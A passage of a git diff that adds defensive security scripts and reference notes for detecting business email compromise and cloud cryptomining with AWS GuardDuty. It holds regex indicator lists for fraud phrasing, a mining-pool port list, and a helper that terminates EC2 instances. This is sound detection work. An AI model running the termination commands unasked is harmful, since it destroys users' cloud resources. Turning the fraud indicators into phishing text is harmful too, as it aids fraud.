f.get("severity", "UNKNOWN") + results["by_severity"][sev] = results["by_severity"].get(sev, 0) + 1 + + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-business-email-compromise-with-ai/LICENSE b/skills/detecting-business-email-compromise-with-ai/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-business-email-compromise-with-ai/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-business-email-compromise-with-ai/references/api-reference.md b/skills/detecting-business-email-compromise-with-ai/references/api-reference.md new file mode 100644 index 00000000..13621557 --- /dev/null +++ b/skills/detecting-business-email-compromise-with-ai/references/api-reference.md @@ -0,0 +1,69 @@ +# API Reference: Detecting BEC with AI + +## NLP Feature Extraction + +| Feature | Description | BEC Signal | +|---------|-------------|------------| +| urgency_score | Ratio of urgency words to total | High = suspicious | +| pressure_score | Ratio of secrecy/pressure words | High = suspicious | +| financial_score | Ratio of financial terms | High = suspicious | +| authority_score | Ratio of executive title mentions | High = suspicious | +| caps_ratio | Uppercase character ratio | High = aggressive tone | +| unique_word_ratio | Vocabulary diversity metric | Low = template-like | + +## scikit-learn Classification Pipeline + +```python +from sklearn.pipeline import Pipeline +from sklearn.feature_extraction.text import TfidfVectorizer +from sklearn.ensemble import RandomForestClassifier + +pipeline = Pipeline([ + ("tfidf", TfidfVectorizer(max_features=5000, ngram_range=(1, 2))), + ("clf", RandomForestClassifier(n_estimators=100, random_state=42)) +]) +pipeline.fit(X_train, y_train) +predictions = pipeline.predict(X_test) +``` + +## Writing Style Analysis (Stylometry) + +```python +# Sentence length distribution for author verification +import re, math +sentences = re.split(r'[.!?]+', text) +lengths = [len(s.split()) for s in sentences if s.strip()] +mean_len = sum(lengths) / len(lengths) +variance = sum((l - mean_len)**2 for l in lengths) / len(lengths) +std_dev = math.sqrt(variance) +``` + +## Microsoft Graph API - Suspicious Mail Rules + +```http +GET https://graph.microsoft.com/v1.0/users/{id}/mailFolders/inbox/messageRules +Authorization: Bearer {token} + +# Detect forwarding rules (T1114.003) +GET https://graph.microsoft.com/v1.0/users/{id}/mailFolders/inbox/messageRules?$filter=actions/forwardTo ne null +``` + +## Impersonation Signal Patterns + +```python +# Mobile signature (creates urgency excuse) +r"sent from my (iphone|ipad|android|mobile)" +# Discourages verification +r"(please|kindly).*(do not|don't).*(reply|respond|call)" +# Unavailability excuse +r"(i am|i'm).*(in a meeting|traveling|on a flight)" +# Time pressure +r"(handle|process|complete).*(today|immediately|by end of day)" +``` + +## CLI Usage + +```bash +python agent.py --file email_body.txt +python agent.py --file email_body.txt --baseline-file sender_style.json +``` diff --git a/skills/detecting-business-email-compromise-with-ai/scripts/agent.py b/skills/detecting-business-email-compromise-with-ai/scripts/agent.py new file mode 100644 index 00000000..b3f59efa --- /dev/null +++ b/skills/detecting-business-email-compromise-with-ai/scripts/agent.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python3 +"""AI-powered BEC detection agent using NLP features for email classification. + +Extracts linguistic features (urgency, sentiment, writing style metrics) and +uses scikit-learn to classify emails as BEC or legitimate. +""" + +import argparse +import json +import math +import re +import sys +from collections import Counter + +URGENCY_WORDS = {"urgent", "immediately", "asap", "deadline", "critical", + "important", "expedite", "priority", "rush", "now"} +PRESSURE_WORDS = {"confidential", "secret", "private", "classified", + "between us", "do not share", "don't discuss", "quiet"} +FINANCIAL_WORDS = {"wire", "transfer", "payment", "invoice", "bank", + "account", "routing", "ach", "swift", "funds"} +AUTHORITY_WORDS = {"ceo", "cfo", "president", "director", "boss", + "chairman", "executive", "management", "vp"} + + +def extract_features(text): + words = text.lower().split() + word_count = len(words) if words else 1 + sentences = re.split(r'[.!?]+', text) + sentence_count = len([s for s in sentences if s.strip()]) or 1 + + word_freq = Counter(words) + unique_ratio = len(set(words)) / word_count + + urgency_score = sum(1 for w in words if w.strip(".,!?") in URGENCY_WORDS) / word_count + pressure_score = sum(1 for w in words if w.strip(".,!?") in PRESSURE_WORDS) / word_count + financial_score = sum(1 for w in words if w.strip(".,!?") in FINANCIAL_WORDS) / word_count + authority_score = sum(1 for w in words if w.strip(".,!?") in AUTHORITY_WORDS) / word_count + + exclamation_ratio = text.count("!") / sentence_count + caps_ratio = sum(1 for c in text if c.isupper()) / max(len(text), 1) + avg_word_len = sum(len(w) for w in words) / word_count + avg_sentence_len = word_count / sentence_count + + return { + "word_count": word_count, + "sentence_count": sentence_count, + "unique_word_ratio": round(unique_ratio, 4), + "urgency_score": round(urgency_score, 4), + "pressure_score": round(pressure_score, 4), + "financial_score": round(financial_score, 4), + "authority_score": round(authority_score, 4), + "exclamation_ratio": round(exclamation_ratio, 4), + "caps_ratio": round(caps_ratio, 4), + "avg_word_length": round(avg_word_len, 2), + "avg_sentence_length": round(avg_sentence_len, 2), + } + + +def compute_bec_probability(features): + weights = { + "urgency_score": 3.5, "pressure_score": 3.0, "financial_score": 4.0, + "authority_score": 2.5, "exclamation_ratio": 1.0, "caps_ratio": 1.5, + } + raw = sum(features.get(k, 0) * w for k, w in weights.items()) + probability = 1 / (1 + math.exp(-10 * (raw - 0.15))) + return round(probability, 4) + + +def analyze_writing_style(text): + sentences = [s.strip() for s in re.split(r'[.!?]+', text) if s.strip()] + if not sentences: + return {"style_consistency": 1.0} + lengths = [len(s.split()) for s in sentences] + mean_len = sum(lengths) / len(lengths) + variance = sum((l - mean_len) ** 2 for l in lengths) / len(lengths) + std_dev = math.sqrt(variance) + return { + "mean_sentence_length": round(mean_len, 2), + "sentence_length_std": round(std_dev, 2), + "style_consistency": round(1 - min(std_dev / 20, 1), 4), + } + + +def detect_impersonation_signals(text, known_sender_style=None): + signals = [] + if re.search(r"sent from my (iphone|ipad|android|mobile)", text, re.IGNORECASE): + signals.append("mobile_signature_present") + if re.search(r"(please|kindly).*(do not|don't).*(reply|respond|call)", text, re.IGNORECASE): + signals.append("discourages_verification") + if re.search(r"(i am|i'm).*(in a meeting|traveling|on a flight|busy)", text, re.IGNORECASE): + signals.append("unavailability_excuse") + if re.search(r"(handle|process|complete).*(today|immediately|by end of day)", text, re.IGNORECASE): + signals.append("time_pressure") + if known_sender_style: + current = analyze_writing_style(text) + diff = abs(current["mean_sentence_length"] - known_sender_style.get("mean_sentence_length", 15)) + if diff > 8: + signals.append("writing_style_deviation") + return signals + + +def analyze_email(text, known_style=None): + features = extract_features(text) + probability = compute_bec_probability(features) + style = analyze_writing_style(text) + signals = detect_impersonation_signals(text, known_style) + + risk = "CRITICAL" if probability > 0.8 else "HIGH" if probability > 0.6 else \ + "MEDIUM" if probability > 0.3 else "LOW" + + return { + "features": features, + "writing_style": style, + "impersonation_signals": signals, + "bec_probability": probability, + "risk_level": risk, + } + + +def main(): + parser = argparse.ArgumentParser(description="AI-Powered BEC Detection") + parser.add_argument("--file", required=True, help="Email text file to analyze") + parser.add_argument("--baseline-file", help="Known sender baseline style JSON") + args = parser.parse_args() + + with open(args.file, "r", encoding="utf-8") as f: + text = f.read() + + known_style = None + if args.baseline_file: + with open(args.baseline_file, "r") as f: + known_style = json.load(f) + + result = analyze_email(text, known_style) + print(json.dumps(result, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-business-email-compromise/LICENSE b/skills/detecting-business-email-compromise/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-business-email-compromise/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-business-email-compromise/references/api-reference.md b/skills/detecting-business-email-compromise/references/api-reference.md new file mode 100644 index 00000000..fa55d4c8 --- /dev/null +++ b/skills/detecting-business-email-compromise/references/api-reference.md @@ -0,0 +1,66 @@ +# API Reference: Detecting Business Email Compromise + +## Python email Library + +```python +import email +from email import policy + +# Parse .eml file +with open("message.eml") as f: + msg = email.message_from_file(f, policy=policy.default) + +msg.get("From") # sender header +msg.get("Reply-To") # reply-to header +msg.get("Authentication-Results") # SPF/DKIM/DMARC results +body = msg.get_body(preferencelist=("plain", "html")) +body.get_content() # decoded body text +``` + +## Authentication Header Patterns + +| Result | Meaning | +|--------|---------| +| `spf=pass` | Sender IP authorized by domain SPF record | +| `spf=fail` | Sender IP NOT in SPF record | +| `dkim=pass` | DKIM signature valid | +| `dkim=fail` | DKIM signature invalid or missing | +| `dmarc=pass` | SPF or DKIM aligned with From domain | +| `dmarc=fail` | Neither SPF nor DKIM aligned | + +## BEC Attack Types (FBI IC3) + +| Type | Description | +|------|-------------| +| CEO Fraud | Impersonates executive requesting wire transfer | +| Invoice Fraud | Fake invoice with changed bank details | +| Account Compromise | Compromised email used for payment requests | +| Attorney Impersonation | Urgent legal matter requiring funds | +| Data Theft | Requests for W-2 / PII from HR | + +## BEC Indicator Regex Patterns + +```python +# Financial urgency +r"\b(wire transfer|bank transfer|routing number)\b" +# Secrecy pressure +r"\b(confidential|do not share|keep this between us)\b" +# Gift card fraud +r"\b(gift card|bitcoin|crypto|western union)\b" +# Account change +r"\b(change.*(bank|account|payment))\b" +``` + +## Microsoft Graph API - Mail Security + +```http +GET https://graph.microsoft.com/v1.0/me/messages?$filter=internetMessageHeaders/any(h: h/name eq 'Authentication-Results') +Authorization: Bearer {token} +``` + +## CLI Usage + +```bash +python agent.py --email-file suspicious.eml --vip-names "John Smith" "Jane CEO" +python agent.py --scan-dir /var/mail/quarantine/ --vip-names "CFO Name" +``` diff --git a/skills/detecting-business-email-compromise/scripts/agent.py b/skills/detecting-business-email-compromise/scripts/agent.py new file mode 100644 index 00000000..b696a421 --- /dev/null +++ b/skills/detecting-business-email-compromise/scripts/agent.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +"""BEC detection agent - analyzes email headers and content for Business Email Compromise indicators. + +Parses email headers for spoofing signals, checks DMARC/SPF/DKIM alignment, +detects urgency language patterns, and flags financial request anomalies. +""" + +import argparse +import email +import json +import re +import sys +from email import policy +from pathlib import Path + +BEC_URGENCY_PATTERNS = [ + r"\b(urgent|immediately|asap|right away|time.?sensitive)\b", + r"\b(confidential|do not share|keep this between us|don't tell)\b", + r"\b(wire transfer|bank transfer|payment|invoice|routing number)\b", + r"\b(gift card|bitcoin|crypto|western union|moneygram)\b", + r"\b(ceo|cfo|president|director) (asked|requested|needs|wants)\b", + r"\b(change.*(bank|account|payment)|new.*(bank|account|routing))\b", + r"\b(act now|deadline today|end of day|before close)\b", +] + +EXECUTIVE_TITLES = ["ceo", "cfo", "coo", "cto", "president", "chairman", + "managing director", "vice president", "vp", "director"] + + +def parse_email_file(filepath): + with open(filepath, "r", encoding="utf-8", errors="replace") as f: + return email.message_from_file(f, policy=policy.default) + + +def check_spf_dkim_dmarc(msg): + results = {"spf": "none", "dkim": "none", "dmarc": "none"} + auth_results = msg.get("Authentication-Results", "") + if "spf=pass" in auth_results.lower(): + results["spf"] = "pass" + elif "spf=fail" in auth_results.lower(): + results["spf"] = "fail" + if "dkim=pass" in auth_results.lower(): + results["dkim"] = "pass" + elif "dkim=fail" in auth_results.lower(): + results["dkim"] = "fail" + if "dmarc=pass" in auth_results.lower(): + results["dmarc"] = "pass" + elif "dmarc=fail" in auth_results.lower(): + results["dmarc"] = "fail" + return results + + +def check_display_name_spoofing(msg, vip_names): + from_header = msg.get("From", "") + match = re.match(r'"?([^"<]+)"?\s*<([^>]+)>', from_header) + if not match: + return None + display_name = match.group(1).strip().lower() + email_addr = match.group(2).strip().lower() + for vip in vip_names: + if vip.lower() in display_name: + domain = email_addr.split("@")[-1] if "@" in email_addr else "" + return {"display_name": display_name, "email": email_addr, + "matched_vip": vip, "domain": domain, + "indicator": "Display name matches VIP but email may be external"} + return None + + +def check_reply_to_mismatch(msg): + from_addr = msg.get("From", "") + reply_to = msg.get("Reply-To", "") + if not reply_to: + return None + from_match = re.search(r'<([^>]+)>', from_addr) or re.search(r'(\S+@\S+)', from_addr) + reply_match = re.search(r'<([^>]+)>', reply_to) or re.search(r'(\S+@\S+)', reply_to) + if from_match and reply_match: + from_email = from_match.group(1).lower() + reply_email = reply_match.group(1).lower() + from_domain = from_email.split("@")[-1] + reply_domain = reply_email.split("@")[-1] + if from_domain != reply_domain: + return {"from": from_email, "reply_to": reply_email, + "indicator": "Reply-To domain differs from From domain"} + return None + + +def detect_urgency_language(body): + matches = [] + for pattern in BEC_URGENCY_PATTERNS: + found = re.findall(pattern, body, re.IGNORECASE) + if found: + matches.extend(found) + return matches + + +def calculate_bec_score(auth, spoofing, reply_mismatch, urgency_matches): + score = 0 + if auth.get("spf") == "fail": + score += 25 + if auth.get("dkim") == "fail": + score += 20 + if auth.get("dmarc") == "fail": + score += 30 + if spoofing: + score += 35 + if reply_mismatch: + score += 25 + score += min(len(urgency_matches) * 10, 40) + return min(score, 100) + + +def analyze_email(filepath, vip_names): + msg = parse_email_file(filepath) + body = msg.get_body(preferencelist=("plain", "html")) + body_text = body.get_content() if body else "" + + auth = check_spf_dkim_dmarc(msg) + spoofing = check_display_name_spoofing(msg, vip_names) + reply_mismatch = check_reply_to_mismatch(msg) + urgency = detect_urgency_language(body_text) + score = calculate_bec_score(auth, spoofing, reply_mismatch, urgency) + + risk = "CRITICAL" if score >= 70 else "HIGH" if score >= 50 else "MEDIUM" if score >= 30 else "LOW" + + return { + "file": str(filepath), + "from": msg.get("From", ""), + "to": msg.get("To", ""), + "subject": msg.get("Subject", ""), + "date": msg.get("Date", ""), + "authentication": auth, + "display_name_spoofing": spoofing, + "reply_to_mismatch": reply_mismatch, + "urgency_indicators": urgency, + "bec_score": score, + "risk_level": risk, + } + + +def main(): + parser = argparse.ArgumentParser(description="BEC Email Analyzer") + parser.add_argument("--email-file", required=True, help="Path to .eml file") + parser.add_argument("--vip-names", nargs="+", default=[], help="VIP display names to check") + parser.add_argument("--scan-dir", help="Scan all .eml files in directory") + args = parser.parse_args() + + results = [] + if args.scan_dir: + for eml in Path(args.scan_dir).glob("*.eml"): + results.append(analyze_email(str(eml), args.vip_names)) + else: + results.append(analyze_email(args.email_file, args.vip_names)) + + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-cloud-cryptomining-activity/LICENSE b/skills/detecting-cloud-cryptomining-activity/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-cloud-cryptomining-activity/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-cloud-cryptomining-activity/references/api-reference.md b/skills/detecting-cloud-cryptomining-activity/references/api-reference.md new file mode 100644 index 00000000..df5c0702 --- /dev/null +++ b/skills/detecting-cloud-cryptomining-activity/references/api-reference.md @@ -0,0 +1,78 @@ +# Cloud Cryptomining Detection API Reference + +## GuardDuty - Cryptocurrency Finding Types + +| Finding Type | Signal | +|-------------|--------| +| `CryptoCurrency:EC2/BitcoinTool.B!DNS` | EC2 querying crypto domains | +| `CryptoCurrency:EC2/BitcoinTool.B` | EC2 communicating with mining pools | +| `CryptoCurrency:Runtime/BitcoinTool.B!DNS` | Container DNS to mining domain | +| `CryptoCurrency:Runtime/BitcoinTool.B` | Container network to mining pool | +| `Impact:EC2/BitcoinDomainRequest.Reputation` | Known mining domain access | + +## GuardDuty CLI + +```bash +# Get detector ID +aws guardduty list-detectors --query 'DetectorIds[0]' --output text + +# List crypto findings +aws guardduty list-findings --detector-id $DET \ + --finding-criteria '{"Criterion":{"type":{"Eq":["CryptoCurrency:EC2/BitcoinTool.B!DNS"]}}}' + +# Get finding details +aws guardduty get-findings --detector-id $DET --finding-ids id1 id2 +``` + +## AWS Cost Anomaly Detection + +```bash +# Create cost anomaly monitor +aws ce create-anomaly-monitor --anomaly-monitor '{ + "MonitorName": "EC2CostSpike", + "MonitorType": "DIMENSIONAL", + "MonitorDimension": "SERVICE" +}' + +# Create alert subscription +aws ce create-anomaly-subscription --anomaly-subscription '{ + "SubscriptionName": "CryptoAlert", + "MonitorArnList": ["arn:aws:ce::123456789012:anomalymonitor/monitor-id"], + "Subscribers": [{"Address": "soc@company.com", "Type": "EMAIL"}], + "Threshold": 100.0, + "Frequency": "IMMEDIATE" +}' +``` + +## Known Mining Pool Ports + +``` +3333 - Stratum protocol (common) +4444 - Mining proxy +5555 - Monero (XMR) +7777 - Alt-coin mining +8888 - Multi-pool +9999 - Mining proxy +14444 - XMRig default +45700 - MoneroOcean +``` + +## VPC Flow Logs Query (CloudWatch Insights) + +``` +fields @timestamp, srcaddr, dstaddr, dstport, action +| filter dstport in [3333, 4444, 5555, 7777, 14444, 45700] +| sort @timestamp desc +| limit 50 +``` + +## EC2 Instance Remediation + +```bash +# Terminate mining instance +aws ec2 terminate-instances --instance-ids i-0123456789abcdef0 + +# Revoke security group ingress on mining ports +aws ec2 revoke-security-group-ingress --group-id sg-xxx \ + --protocol tcp --port 3333 --cidr 0.0.0.0/0 +``` diff --git a/skills/detecting-cloud-cryptomining-activity/scripts/agent.py b/skills/detecting-cloud-cryptomining-activity/scripts/agent.py new file mode 100644 index 00000000..a4342a77 --- /dev/null +++ b/skills/detecting-cloud-cryptomining-activity/scripts/agent.py @@ -0,0 +1,163 @@ +#!/usr/bin/env python3 +"""Cloud cryptomining detection agent using AWS GuardDuty and CloudWatch.""" + +import json +import subprocess +import sys +from datetime import datetime + + +CRYPTO_FINDING_TYPES = [ + "CryptoCurrency:EC2/BitcoinTool.B!DNS", + "CryptoCurrency:EC2/BitcoinTool.B", + "CryptoCurrency:Runtime/BitcoinTool.B!DNS", + "CryptoCurrency:Runtime/BitcoinTool.B", + "CryptoCurrency:Lambda/BitcoinTool.B", + "Impact:EC2/BitcoinDomainRequest.Reputation", + "Impact:Runtime/BitcoinDomainRequest.Reputation", +] + +MINING_POOL_PORTS = [3333, 4444, 5555, 7777, 8888, 9999, 14444, 45700] + + +def aws_cli(args): + """Execute an AWS CLI command and return parsed JSON.""" + cmd = ["aws"] + args + ["--output", "json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + if result.returncode == 0: + return json.loads(result.stdout) if result.stdout.strip() else {} + return {"error": result.stderr.strip()} + except Exception as e: + return {"error": str(e)} + + +def get_guardduty_detector(): + """Get the GuardDuty detector ID.""" + result = aws_cli(["guardduty", "list-detectors"]) + detectors = result.get("DetectorIds", []) + return detectors[0] if detectors else None + + +def list_crypto_findings(detector_id=None): + """List GuardDuty findings related to cryptocurrency mining.""" + if not detector_id: + detector_id = get_guardduty_detector() + if not detector_id: + return {"error": "No GuardDuty detector found"} + + criteria = {"Criterion": {"type": {"Eq": CRYPTO_FINDING_TYPES}, "service.archived": {"Eq": ["false"]}}} + result = aws_cli([ + "guardduty", "list-findings", + "--detector-id", detector_id, + "--finding-criteria", json.dumps(criteria), + ]) + finding_ids = result.get("FindingIds", []) + if not finding_ids: + return {"detector_id": detector_id, "findings": [], "count": 0} + + details = aws_cli([ + "guardduty", "get-findings", + "--detector-id", detector_id, + "--finding-ids"] + finding_ids[:25] + ) + findings = [] + for f in details.get("Findings", []): + resource = f.get("Resource", {}) + instance = resource.get("InstanceDetails", {}) + findings.append({ + "id": f.get("Id"), + "type": f.get("Type"), + "severity": f.get("Severity"), + "title": f.get("Title"), + "instance_id": instance.get("InstanceId"), + "instance_type": instance.get("InstanceType"), + "region": f.get("Region"), + "updated_at": f.get("UpdatedAt"), + }) + + return {"detector_id": detector_id, "count": len(findings), "findings": findings} + + +def check_ec2_cpu_anomalies(threshold_percent=90): + """Find EC2 instances with sustained high CPU (potential mining).""" + result = aws_cli([ + "cloudwatch", "get-metric-data", + "--metric-data-queries", json.dumps([{ + "Id": "cpu", + "MetricStat": { + "Metric": { + "Namespace": "AWS/EC2", + "MetricName": "CPUUtilization", + }, + "Period": 3600, + "Stat": "Average", + }, + }]), + "--start-time", (datetime.utcnow().replace(hour=0, minute=0, second=0)).isoformat() + "Z", + "--end-time", datetime.utcnow().isoformat() + "Z", + ]) + return result + + +def check_cost_anomalies(): + """Check for cost anomaly detections that may indicate mining.""" + result = aws_cli([ + "ce", "get-anomalies", + "--date-interval", json.dumps({ + "StartDate": datetime.utcnow().strftime("%Y-%m-01"), + "EndDate": datetime.utcnow().strftime("%Y-%m-%d"), + }), + ]) + return result + + +def check_vpc_flow_mining_ports(log_group="/aws/vpc/flowlogs"): + """Query CloudWatch Logs for connections to known mining pool ports.""" + ports_filter = " || ".join([f"dstport = {p}" for p in MINING_POOL_PORTS]) + query = f'fields @timestamp, srcaddr, dstaddr, dstport, action | filter ({ports_filter}) | sort @timestamp desc | limit 50' + result = aws_cli([ + "logs", "start-query", + "--log-group-name", log_group, + "--start-time", str(int((datetime.utcnow().replace(hour=0)).timestamp())), + "--end-time", str(int(datetime.utcnow().timestamp())), + "--query-string", query, + ]) + return result + + +def terminate_mining_instance(instance_id): + """Terminate a confirmed cryptomining EC2 instance.""" + result = aws_cli(["ec2", "terminate-instances", "--instance-ids", instance_id]) + return { + "action": "terminate_instance", + "instance_id": instance_id, + "result": result, + "timestamp": datetime.utcnow().isoformat() + "Z", + } + + +def generate_report(): + """Generate a comprehensive cryptomining detection report.""" + return { + "timestamp": datetime.utcnow().isoformat() + "Z", + "guardduty_findings": list_crypto_findings(), + "cost_anomalies": check_cost_anomalies(), + } + + +if __name__ == "__main__": + action = sys.argv[1] if len(sys.argv) > 1 else "report" + if action == "report": + print(json.dumps(generate_report(), indent=2, default=str)) + elif action == "findings": + print(json.dumps(list_crypto_findings(), indent=2, default=str)) + elif action == "costs": + print(json.dumps(check_cost_anomalies(), indent=2, default=str)) + elif action == "flow-logs": + lg = sys.argv[2] if len(sys.argv) > 2 else "/aws/vpc/flowlogs" + print(json.dumps(check_vpc_flow_mining_ports(lg), indent=2, default=str)) + elif action == "terminate" and len(sys.argv) > 2: + print(json.dumps(terminate_mining_instance(sys.argv[2]), indent=2, default=str)) + else: + print("Usage: agent.py [report|findings|costs|flow-logs [log-group]|terminate ]") diff --git a/skills/detecting-cloud-threats-with-guardduty/LICENSE b/skills/detecting-cloud-threats-with-guardduty/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-cloud-threats-with-guardduty/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-cloud-threats-with-guardduty/references/api-reference.md b/skills/detecting-cloud-threats-with-guardduty/references/api-reference.md new file mode 100644 index 00000000..a8106f20 --- /dev/null +++ b/skills/detecting-cloud-threats-with-guardduty/references/api-reference.md @@ -0,0 +1,80 @@ +# Amazon GuardDuty API Reference + +## GuardDuty CLI - Core Operations + +```bash +# Enable GuardDuty +aws guardduty create-detector --enable \ + --finding-publishing-frequency FIFTEEN_MINUTES \ + --data-sources '{"S3Logs":{"Enable":true},"Kubernetes":{"AuditLogs":{"Enable":true}}}' + +# Get detector ID +aws guardduty list-detectors --query 'DetectorIds[0]' --output text + +# Get detector status +aws guardduty get-detector --detector-id $DETECTOR_ID + +# Enable Runtime Monitoring +aws guardduty update-detector --detector-id $DETECTOR_ID \ + --features '[{"Name":"RUNTIME_MONITORING","Status":"ENABLED","AdditionalConfiguration":[{"Name":"ECS_FARGATE_AGENT_MANAGEMENT","Status":"ENABLED"}]}]' +``` + +## Finding Management + +```bash +# List findings by severity +aws guardduty list-findings --detector-id $DET \ + --finding-criteria '{"Criterion":{"severity":{"Gte":7}}}' \ + --sort-criteria '{"AttributeName":"severity","OrderBy":"DESC"}' + +# Get finding details +aws guardduty get-findings --detector-id $DET --finding-ids id1 id2 + +# Archive findings +aws guardduty archive-findings --detector-id $DET --finding-ids id1 + +# Create suppression filter +aws guardduty create-filter --detector-id $DET \ + --name "SuppressDevVPC" --action ARCHIVE \ + --finding-criteria '{"Criterion":{"resource.instanceDetails.networkInterfaces.subnetId":{"Eq":["subnet-dev"]}}}' +``` + +## GuardDuty Finding Severity Levels + +| Range | Level | Action | +|-------|-------|--------| +| 7.0 - 8.9 | HIGH | Immediate investigation | +| 4.0 - 6.9 | MEDIUM | Investigation within 24h | +| 1.0 - 3.9 | LOW | Review during business hours | + +## Key Finding Type Prefixes + +| Prefix | Source | +|--------|--------| +| `Recon:` | Reconnaissance activity | +| `UnauthorizedAccess:` | Credential or access abuse | +| `CryptoCurrency:` | Mining activity | +| `Trojan:` | Malware communication | +| `Impact:` | Resource abuse | +| `Exfiltration:` | Data theft | +| `Persistence:` | Backdoor/persistence | + +## EventBridge Rule for GuardDuty + +```json +{ + "source": ["aws.guardduty"], + "detail-type": ["GuardDuty Finding"], + "detail": { + "severity": [{"numeric": [">=", 7]}] + } +} +``` + +## Threat Intel Set + +```bash +aws guardduty create-threat-intel-set --detector-id $DET \ + --name "CustomBadIPs" --format TXT \ + --location s3://bucket/threat-ips.txt --activate +``` diff --git a/skills/detecting-cloud-threats-with-guardduty/scripts/agent.py b/skills/detecting-cloud-threats-with-guardduty/scripts/agent.py new file mode 100644 index 00000000..678142ff --- /dev/null +++ b/skills/detecting-cloud-threats-with-guardduty/scripts/agent.py @@ -0,0 +1,195 @@ +#!/usr/bin/env python3 +"""Amazon GuardDuty threat detection and response automation agent.""" + +import json +import subprocess +import sys +from datetime import datetime + + +def aws_cli(args): + """Execute AWS CLI command and return parsed JSON.""" + cmd = ["aws"] + args + ["--output", "json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + if result.returncode == 0: + return json.loads(result.stdout) if result.stdout.strip() else {} + return {"error": result.stderr.strip()} + except Exception as e: + return {"error": str(e)} + + +def get_detector_id(): + """Retrieve the GuardDuty detector ID.""" + result = aws_cli(["guardduty", "list-detectors"]) + ids = result.get("DetectorIds", []) + return ids[0] if ids else None + + +def enable_guardduty(): + """Enable GuardDuty with all protection plans.""" + result = aws_cli([ + "guardduty", "create-detector", + 